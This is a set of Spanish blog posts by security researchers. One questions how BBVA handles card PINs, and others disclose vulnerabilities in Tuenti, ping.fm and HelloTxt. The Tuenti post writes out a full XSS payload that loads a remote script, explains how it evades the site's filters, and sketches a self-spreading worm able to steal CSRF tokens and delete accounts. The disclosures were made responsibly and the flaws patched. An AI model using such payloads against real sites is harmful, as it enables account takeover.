Es de sobra conocido por todos que Steam fue asaltado hace casi dos semanas, y si no, pues os lo resumo: todos los datos de un número indeterminado de usuarios de la base de datos de Steam fueron extraídos, y eso incluye tarjetas de crédito. Claro está que la información se hallaba cifrada, y bien cifrada, pero no quita que uno sea desconfiado por deformación profesional y tome medidas cautelares…

Como por ejemplo, bloquear la tarjeta. Llamé al BBVA, les comenté el caso, y al parecer no pusieron ninguna pega. Me la bloquearon, y me enviaron una nueva a casa. Lo cierto es que me cobraron una comisión que no procedía; de hecho, la reclamé y me la devolvieron, pero eso es otra historia. A los dos días me llega la tarjeta a casa (en vez de 5-7 días, que fue el plazo que me dieron). Aquí empieza el primer fallo: ¡¡es una carta ordinaria!! Efectivamente, no es una carta certificada, no es que el cartero te la de en mano… te la echa en el buzón (presumiendo que la intención del cartero siempre es benévola) y ahí te apañes. Evidentemente, se nota desde lejos que no se trata de una carta normal, porque se palpa el plástico, por lo que vete tú a saber si se “extravía”.

Alguien que esté un poco informado dirá: hombre, pero está desactivada por defecto. Y yo le doy la razón. En la tarjeta hay una pegatina en rojo que dice algo como “llame a este número para activar la tarjeta”. Entonces respiré tranquilo y pensé: bueno, si se hubiera “extraviado” estaría desactivada. El caso es que me dispongo a llamar, y tras varios saltos con el contestador automático e introducir el número de tarjeta… ya está. Eso es, no ha hecho falta en ningún momento ningún dato de índole… privado, qué sé yo, DNI, tarjeta anterior, PIN, algo. Vamos, que la podría haber activado cualquiera. Tras este mal trago, decidí que la próxima vez que pida una tarjeta nueva, la manden a la oficina… al menos, es más seguro que el buzón de una casa, y pasa por menos manos. Días después, llega otra carta con el PIN. Ya me avisaron que el PIN no cambiaría al tratarse de un “robo” (aunque el número de tarjeta es evidentemente diferente), por lo que esta última carta es un gasto innecesario. Sin embargo, aquí viene lo curioso…

Pensemos un poco. Sí, tenían razón, el PIN no ha cambiado. Pero espera, ¿cómo es que sabían mi PIN anterior? Para los no entendidos en la materia de programación y bases de datos en general, las contraseñas nunca se deben guardar en texto plano en una base de datos, precisamente para evitar que, si hay un robo como el de Steam, los ladrones no puedan (o les cueste mucho trabajo) conseguir información valiosa de esos datos cifrados, que no dejan de ser un puñado de cadenas de texto sin sentido al ojo humano.

Avanzando un poco más en este sentido y para brindar luz a los no entendidos, omitiendo detalles, cuando el usuario introduce su contraseña en texto plano (en una web, por ejemplo), esa contraseña se cifra con un algoritmo predeterminado y la compara con la que está almacenada en la base de datos, que está cifrada de la misma manera:

a. Texto plano: tomate
b. Cifrado (md5): 02e409c8bf00d35d7a7d61c56829da7f

‘a’ es lo que conoce el usuario y ‘b’ es lo que se guarda en la base de datos. Es un cifrado irreversible (aunque hoy por hoy, un tanto débil, pero no es el tema), esto es, que teóricamente sólo se puede realizar el paso a->b, pero no b->a. En caso de que se robara ‘b’, el ladrón no podría hacer nada con esos datos, al menos en un periodo de tiempo legítimo (¿< 10 años?).

Por tanto, llegamos a la conclusión de que en algún lugar de la base de datos del banco, al menos el número de mi tarjeta y mi PIN están relacionados y guardados en texto plano, o bien con un cifrado reversible (mediante clave privada, por ejemplo). ¿Cómo puede el banco saber mi PIN? ¿Qué ocurre si robaran esa clave privada? El PIN es un número personal de identificación que nadie más que el propio dueño debería conocer, y debería estar cifrado con un algoritmo irreversible y confiable. No tiene sentido que se pueda “recuperar”. Desde mi punto de vista, para mí, esto es un problema de seguridad, aunque como siempre, invito a brindar y discutir cualquier otra opinión aquí.

Con esto quiero decir que, para ser un banco tan conocido, creo que tiene fallos de seguridad importantes como para ser pasados por alto… ¿Es normal en los bancos españoles que estas cosas funcionen así? ¿Es cosa del banco? ¿Es cosa del proveedor de tarjetas? ¿Es simplemente así? ¿Hay algo más? A ver si podemos llegar a alguna conclusión.

Actualización: El amigo albertjh (mil gracias) me envía este enlace (lo cuelgo en PDF aquí, por si lo modifican) y cito textualmente el fragmento que nos interesa:

El PIN de su tarjeta BBVA, su clave de acceso a BBVA.es, y su clave de operaciones en BBVA.es, son claves privadas, que deberá custodiar de forma segura, pues todo aquel que pudiera acceder a sus claves podría operar con sus productos y servicios en BBVA. Por este motivo le recomendamos que no comunique a nadie bajo ningún concepto dichas claves. Nadie en BBVA conoce cuales son sus claves, éstas se encuentran almacenadas en nuestros sistemas cifradas con un algoritmo irreversible, de forma que nadie en BBVA puede conocerlas.

Actualización 2: Una persona responsable del área de seguridad del BBVA se ha puesto en contacto por email conmigo, y me ha explicado la generación de PIN mediante un resumen trabajado. Partiendo de esta explicación, llegamos a las siguientes conclusiones:

• Hay dos tipos de PIN: a) el generado con datos públicos de la tarjeta, que conocemos y podemos cambiar y b) el generado por el HSM (más información en WP para los que desconozcan el dispositivo), aleatorio, y que nunca sale del HSM (importante).
• Y cito: Ambos están relacionados por un “offset” que no es más que una suma digito a digito complemento a 9. Cuando se cambia el PIN “de usuario” realmente lo que se hace es cambiar el offset o diferencia entre el “natural” y el escogido. De este “offset” (que sí se almacena) en ningún caso podríamos derivar el PIN.
• Para la comprobación del PIN – que obviamente va cifrado en la transmisión – se utiliza el propio PIN que conocemos, como el generado por HSM, y se hace la comparación internamente, gracias al “offset”.
• Entonces, ¿cómo es posible que me envíen mi anterior PIN en plano?: Con los datos públicos de tu tarjeta antigua y el offset de tu PIN de usuario “antiguo” y DENTRO DEL HSM, se calcula tu PIN de usuario “antiguo” por un lado y por otro se calcula el nuevo PIN “natural” con los datos públicos de tu tarjeta nueva y con ambos se calcula cual tiene que ser tu nuevo offset para que tu PIN de usuario sea el mismo que tenías antes.Antes de enviarlo a imprimir, se cifra antes en el HSM, y después se envía en plano, aunque no queda ninguna traza ya que el sitio donde se imprime el papel es independiente del lugar donde se realiza la estampación de tarjetas. ¿La razón? Hacerle la vida más cómoda al cliente.

Por la parte de privacidad/seguridad física, no ha habido ningún comentario. Me hubiera encantado escuchar algo sobre esto, aunque otro representante de BBVA ha estado en contacto conmigo y me ha dicho que se lo ha pasado a un responsable para ver qué ocurre.

He de decir que me ha encantado escribir esta entrada, puesto que ha habido opiniones de distinto tipo, hemos aprendido y hemos escuchado voces de todas las partes. La explicación técnica la he intentado simplificar al máximo posible, pero entre la hora a la que escribo esta última actualización (5 de la mañana de un martes) y que hay cosas que, sencillamente, no se pueden explicar de otra manera, quizá no llegue a todo el público esperado.  En cualquier caso, muchas gracias a todos, incluyendo a los representantes del BBVA que se han movido en cuanto he escrito la entrada, a pesar de ser una invitación a debate para clarificar el asunto, más que una acusación directa.

-- ¿Es BBVA un banco seguro? es una entrada escrita en Diazr.¡No te olvides de comentar si puedes aportar algo! :)

El equipo de Tuenti ha puesto fin a la vulnerabilidad de la que hablé pasados cinco días de su advertencia. Ahora, os voy a contar la historia de cómo surgió todo y de como un trabajo de investigación conjunto y en tiempo libre puede dar muchos frutos. Algunas aclaraciones sonarán evidentes (e incluso estúpidas) para cualquier iniciado en el campo, pero mi intención es que lo entienda el mayor número de personas posible (ya que el perfil del visitante de este blog no es necesariamente techie).

El pasado día 30 de abril descubrimos una vulnerabilidad en la que, juntando una URL (terminada en /) con código HTML, falla la validación del mismo (XSS). Un ejemplo con un simple <h1> en un comentario de tablón:

Sin hacer la citada combinación, todo era convertido a HTML Entities (gracias a htmlentities()). Esto se traduce en resumidas cuentas al impedimento de que si alguien escribe código HTML, el navegador lo interprete como tal. El proceso de un comentario, entrada en el tablón, mensaje… es muy sencillo:

1. El usuario escribe y envía.
2. El servidor recibe y guarda, haciendo ciertos cambios [1].
3. Cuando alguien lo necesita, se le envía lo guardado, parseado [2] por el script local previamente.

¿Qué es lo que falla en el proceso? El parseado. En un principio,  estuvimos investigando pero no sacamos nada… hasta la madrugada. Al día siguiente ya teníamos la formula mágica para incluir un script externo. Ejecutamos multitud de pruebas en diferentes cuentas, para evitar posibles sospechas.

Algo parecido ocurrió con el chaval de 17 años y Twitter, aunque él lo tuvo más fácil: el XSS se aplicaba casi directamente en el campo de URL del perfil, con poco enredo (aunque lo de después fue un poquito más enrevesado).

Había que jugar con dos parsers: el de las URLs y el de las imágenes. Era necesario combinarlos de tal manera que se pudiera conseguir la fórmula mágica e incluir el JS remoto. No fue fácil, puesto que de ninguna manera se podían colocar las comillas (” “), ni referenciar a archivos remotos de forma sencilla. La fórmula fue, finalmente:

http://diazr.com/</script><script src=http    ://diazr.com/xss.js defer=owned.jpg http://diazr.com/</script>

1. La URL podía ser cualquiera, con el único requisito de que terminara en /.
2. Era necesario colocar un </script> previamente antes de iniciar otro.
3. Como se puede observar, el uso de comillas en el parámetro src y defer se descarta (aunque no es obligatorio en absoluto, su uso hubiera derivado en fallo).
4. Ha sido necesario colocar una tabulación intercalada entre el protocolo y el resto de la URL; de lo contrario, el parseador lo hubiera tomado como una URL y nos hubiera fastidiado de nuevo nuestra meta. De esta manera, lo evitamos y nos lo saltamos a la torera.
5. El parámetro defer no hace realmente nada, únicamente era necesario para engañar al parseador de imágenes y permitirnos cerrar la etiqueta script.

Esto, escrito en el tablón de un usuario (como un comentario, por ejemplo) nos permitía cargar el javascript externo que quisiéramos. El riesgo empezaba a ser evidente. En el más leve de los casos, un alert(). O peor: un archivo especialmente construido para hacerse con todos los datos de nuestro “amigo”, como el csrfChallenge (código único para cada usuario de la red necesario para realizar cualquier acción) fácilmente relacionable con el usuario propietario (global_uid) y otros valores seteados en el propio código JavaScript de Tuenti.

Hemos escrito el PoC de turno, que simplemente cambia el estado del usuario que carga el script por el que nosotros queramos. Habíamos pensado en algo más complejo pero dejaría de ser un PoC. Igualmente, teniendo en cuenta que tenemos acceso al array con la lista de amigos (con sus correspondientes UIDs), se podría crear un gusano que infectara a toda la lista de contactos fácilmente, realizando otras tareas más peligrosas (borrado de cuentas, cambio de datos en perfil… además de infectar a los contactos de los contactos, y así sucesivamente). Pero eso ya es imaginación de quien quiera hacerlo. Se puede descargar desde aquí.

[1] Se sabe que no se guarda el texto íntegro ya que, ahora que se ha puesto una solución, las inyecciones realizadas anteriormente siguen siendo efectivas.
[2] El parseado es un proceso mediante el cuál un script “traduce” una combinación concreta de caracteres a algo ya preestablecido. Por ejemplo, cuando colocamos la URL de un vídeo hacia YouTube, aparece directamente el vídeo en cuestión y no el link.

-- Detalles de la vulnerabilidad de Tuenti es una entrada escrita en Diazr.¡No te olvides de comentar si puedes aportar algo! :)

Nota: Pido disculpas por estas horas de caída del blog, todo ha sucedido por la reciente migración a otro proveedor del que ya hablé (y del que, por cierto, retiro toda crítica positiva). Así que me he vuelto a DreamHost (KJKSZPJ, el cupón de descuento anual, sigue activo) que, a pesar de ser más lento, lo aguanta todo :-)

No son pocos los escépticos con la seguridad y privacidad en las redes sociales. Yo, personalmente, estoy tanto en Facebook como en Tuenti (teniendo más actividad en este último). Para los que no la conozcan, o sólo les suene, la Wikipedia nos cuenta algo:

Tuenti es una red social virtual dirigida a la población joven española. Permite al usuario crear su propio perfil, subir fotos y vídeos y contactar con amigos. Tiene otras muchas posibilidades como crear eventos y etiquetar amigos en fotos. Se caracteriza también por su potente buscador.

Inaugurado en enero de 2006, Tuenti es uno de los sitios web más visitados en España, según Alexa Internet.

Por ejemplo, recientemente, se publicó una vulnerabilidad XSS de Facebook que permitía robar las cookies de cualquier usuario en unas determinadas circunstancias, haciendo insegura instantáneamente a la red social en cuestión. Otra, no tan reciente y más leve, permitía en Tuenti ver la lista de amigos de otro usuario, aunque éste no lo hubiera permitido previamente.

Toda aplicación web es suceptible a agujeros de seguridad. Es imposible que no existan. Aunque lo que no es imposible es trabajar lo máximo posible para reducir esos pequeños errores. Porque los agujeros de seguridad son sólo simples fallos de programación, y le pueden ocurrir desde al más primerizo al profesional que lleva toda una vida dedicada a la programación.

Esta vez vamos a centrarnos en Tuenti ya que es la red social que, con diferencia, más utilizo. Sergio y yo hace algún tiempo que miramos sitios donde encontrar vulnerabilidades para poder notificarlas y después publicarlas. Dependiendo de la gravedad, se publican en el mismo día, sin que se hayan arreglado (1, 2) o se espera un tiempo prudente para publicarlas. Y esta, en Tuenti, es una de las últimas que hemos descubierto.

Contacté ayer con Ícaro Moyano (director de comunicación de Tuenti) aprovechando que tengo contacto directo con él, para explicar la vulnerabilidad a los desarrolladores y de paso mostrar un PoC interesante. Le expliqué que se trataba de una vulnerabilidad extremedamente crítica. Por el momento, sigo a la espera.

Cierta combinación escrita en un tablón de cualquier usuario, podría conseguir que se inutilizara, y que ni él ni nadie pudiera leer ni responder comentarios. El riesgo empezaba a ser interesante aunque no comprometedor, pues lo máximo que podría ocurrir es que el usuario contactara con soporte, ellos lo detectaran y le pusieran arreglo.

Pero no, no es lo peor en realidad. Eso sólo significaría la punta del iceberg. Teniendo en cuenta que el XSS es aplicable en cualquier lugar (tu propio tablón, el de otra persona, comentarios en imágenes…), esto funcionaría como un verdadero gusano. Un gusano que se transmitiría de un usuario a otro a una velocidad vertiginosa, sin que se diera cuenta, haciendo que en pocas horas miles y miles de usuarios estuvieran bajo las manos de todo esto. Y montando un sistema automatizado detrás, hacerse con todas las cuentas rápidamente, dejando la privacidad de todos los usuarios al descubierto, al igual que sin sus preciados datos. Pero por ahora, no voy a dar más detalles, como es lógico.

Esto es tan sólo una muestra de fragilidad que una red social puede tener, que la privacidad nunca es “privada” y que en cualquier momento todo puede ser desmontado (en este caso, en una sola – pero larga – tarde se dio con ello). El tiempo de reacción en estos temas indica el nivel de importancia que se le da a los usuarios desde el equipo dirigente de la red social en sí.

-- Vulnerabilidad crítica en Tuenti es una entrada escrita en Diazr.¡No te olvides de comentar si puedes aportar algo! :)

Administrators has been notified. However, ping.fm is still vulnerable. Therefore it is recommended to all users to not open any suspicious URL while logged at the site. and a patch has been applied at 4/7/2009.

This vulnerability has been discovered by Sergio Cruz Ramírez (aka Omega) & Rubén Díaz Alonso (aka outime).

Los administradores han sido notificados. Sin embargo, ping.fm sigue siendo vulnerable. Mientras tanto se recomienda a todos los usuarios no abrir ninguna URL sospechosa mientras se está identificado en el sitio. y se ha aplicado un parche el 7/4/2009.

Esta vulnerabilidad ha sido descubierta por Sergio Cruz Ramírez (aka Omega) & Rubén Díaz Alonso (aka outime).

-- [ping.fm] CSRF Vulnerability es una entrada escrita en Diazr.¡No te olvides de comentar si puedes aportar algo! :)

Administrators has been notified. However, HelloTxt is still vulnerable. Therefore it is recommended to all users to not open any suspicious URL while logged at the site. and a patch has been applied at 4/7/2009.

This vulnerability has been discovered by Sergio Cruz Ramírez (aka Omega) & Rubén Díaz Alonso (aka outime).

Los administradores han sido notificados. Sin embargo, HelloTxt sigue siendo vulnerable. Mientras tanto se recomienda a todos los usuarios no abrir ninguna URL sospechosa mientras se está identificado en el sitio. y se ha aplicado un parche el 7/4/2009.

Esta vulnerabilidad ha sido descubierta por Sergio Cruz Ramírez (aka Omega) & Rubén Díaz Alonso (aka outime).

-- [HelloTxt] CSRF vulnerability es una entrada escrita en Diazr.¡No te olvides de comentar si puedes aportar algo! :)